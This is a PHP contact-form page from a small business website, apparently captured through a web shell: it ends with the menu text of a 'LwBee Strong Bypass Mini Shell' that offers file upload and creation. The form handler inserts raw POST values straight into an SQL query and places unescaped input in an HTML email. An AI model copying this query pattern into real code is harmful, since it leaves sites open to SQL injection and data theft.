/home3/vehiclea/public_html/sreemahadevgroup9/contact.php
<?php 
$_SESSION['active'] = 'contact';
include('header.php');
 
 
?>

    <div class="hero-wrap" style="background-image: url('images/bg_1.jpg');">
      <div class="overlay"></div>
      <div class="container">
        <div class="row no-gutters slider-text align-items-center justify-content-center">
          <div class="col-md-9 ftco-animate text-center">
            <h6 class="breadcrumbs"><span class="mr-2"><a href="index.php">Home</a></span> <span>Contact</span></h6>
            <h1 class="mb-3 bread">Contact Us</h1>
          </div>
        </div>
      </div>
    </div>

     <?php
    
       if(!empty($_GET['suc']))
        {
      ?>
      <div style="color: green;" align="center">Your Message Has been Sent Successfully</div>
          <script>
            
           window.location.href="contact.php";
           
            </script>
    <?php
    }   
    ?>

      <?php
if(isset($_POST['submit'])){
  
 $name = $_POST['name'];
 $email = $_POST['email'];
 $subject = $_POST['subject'];
 $message = $_POST['message'];
 $contactInsert = executework("insert into contact (name,email,subject,message,create_date,number) values ('".$_POST['name']."','".$_POST['email']."','".$_POST['subject']."','".$_POST['message']."','".date('Y-m-d H:i:s')."','".$_POST['number']."')");
 if($contactInsert){   
  $to = "sreemahadevgroup9@gmail.com";
         $subject = $subject;
         $emailSubject = ucfirst($name).' Applied for '.ucwords($subject);
         $message .= "<h1>$message</h1>";
         // $header = $email;
         // $header .= "Cc:afgh@somedomain.com \r\n";
         // $header .= "MIME-Version: 1.0\r\n";
         // $header .= "Content-type: text/html\r\n";

         $headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1" . "\r\n";
$headers .= "From: successive.testing@gmail.com" . "\r\n" .
"Reply-To: successive.testing@gmail.com" . "\r\n" .
"X-Mailer: PHP/" . phpversion();
        
         $retval = mail ($to,$emailSubject,$message,$headers);
         
         if( $retval == true ) {
            echo "Message sent successfully...";
         }else {
            echo "Message could not be sent...";
         }
       }
       }
      ?>

    <section class="ftco-section contact-section bg-light">
      <div class="container">
        <div class="row d-flex mb-5 contact-info">
          <div class="col-md-12 mb-4">
           
          </div>
          <div class="w-100"></div>
          <div class="col-md-4 d-flex">
          	<div class="info bg-white p-4">
	            <p><span>Address:</span><br><a href="">RTC colony 1/6th lane, Guntur-522001</a></p>
	          </div>
          </div>
          <div class="col-md-4 d-flex">
          	<div class="info bg-white p-4">
	            <p><span>Phone:</span><br> <a href="tel:91 9966201181">+91 9966201181</a></p>
	          </div>
          </div>
          <div class="col-md-4 d-flex">
          	<div class="info bg-white p-4">
	            <p><span>Email:</span>&nbsp;<a href="mailto:sreemahadevgroup9@gmail.com">sreemahadevgroup9@gmail.com</a></p>
	          </div>
          </div>
         <!--  <div class="col-md-3 d-flex">
          	<div class="info bg-white p-4">
	            <p><span>Website</span> <a href="#"></a></p>
	          </div>
          </div> -->
        </div>
        <div class="row block-9">
          <div class="col-md-6 order-md-last d-flex">



            <form  method="post" class="bg-white p-5 contact-form" onsubmit="return contact_validation()" >
              <div class="form-group">
                <input type="text" class="form-control" name="name" id="name" placeholder="Your Name" >
                <div class="error" id="err1" align="center" style="color:red;"></div>
              </div>


              <div class="form-group">
           
            <input type="email" name="email"  id="emailId" onkeypress="myfunction()" class="form-control noSpace" placeholder="Your Email">
           <h6 id="test"></h6> 
          </div>

          <div class="form-group"> 
            <input type="text" name="number"  id="number" maxlength="10" class="form-control noSpace" onkeypress="return isNumber(event)"  placeholder="Your Phone Number">
           <h6 id="test"></h6> 
          </div>
          
              <div class="form-group">
                <input type="text" class="form-control" name="subject" id="subject"  placeholder="Subject" >
                <div class="error" id="err1" align="center" style="color:red;"></div>
              </div>
              <div class="form-group">
                <textarea  id="" cols="30" rows="7" class="form-control" name="message" id="message" placeholder="Message" ></textarea>
                <div class="error" id="err1" align="center" style="color:red;"></div>
              </div>
              <div class="form-group">
                <input type="submit" name="submit" id="submit" value="Send Message" class="btn btn-primary py-3 px-5" >
              </div>
            </form>
          
          </div>

          <div class="col-md-6 d-flex">

            <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3829.478238983047!2d80.46248721486148!3d16.298490488739702!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x523dc046e95c6b16!2zMTbCsDE3JzU0LjYiTiA4MMKwMjcnNTIuOCJF!5e0!3m2!1sen!2sin!4v1669214986991!5m2!1sen!2sin" width="600" height="450" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe> 
          </div>
        </div>
      </div>
    </section>
	

    <?php include('footer.php');?>

     <script src='https://kit.fontawesome.com/a076d05399.js' crossorigin='anonymous'></script>
  <br>
  
<script>
    function contact_validation(){
     
     
      var  email = $('#emailId').val();
      var filter = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;

        if ($('#name').val() == '') {
             
          alert("Enter Your Name");
            
            return false;
        } 
        
        else if ($('#emailId').val() == '') {
          alert("Enter Your Email");
            
            return false;
        } 
        else if(!email.match(filter))
        {
            alert("Enter Valid Email Id");
            
            return false;
        }

        else if ($('#subject').val() == '') {
          alert("Enter Subject ");
          
            return false;
        } 
       
        else
        {
           return true;
        }
    }

function valid_error(id, error, err) {

    $('.errr').html('');
    $('#' + err).show();

    $('#' + err).html(error);
    $('#' + id).focus();
    return false;
}
</script>
 
<script>
   $('.noSpace').keyup(function() {
 this.value = this.value.replace(/\s/g,'');
});
      function isNumber(evt,ref,len)
        {
        evt = (evt) ? evt : window.event;
        var charCode = (evt.which) ? evt.which : evt.keyCode;
        if(charCode == 8 || charCode == 9 ){
        return true;
        }
        var ctrlDown = evt.ctrlKey||evt.metaKey // Mac support

        if (charCode > 31 && (charCode < 48 || charCode > 57) && charCode != 46 || charCode == 8 || charCode == 37 || charCode == 39 || ( ctrlDown && charCode==86)) {
        return false;
        }
        else if(ref.val().length >= len){
        return false;
            }
        return true;
             }


</script>

  <?php include('include/footer.php'); ?>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>

<script type="text/javascript">



</script>

@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File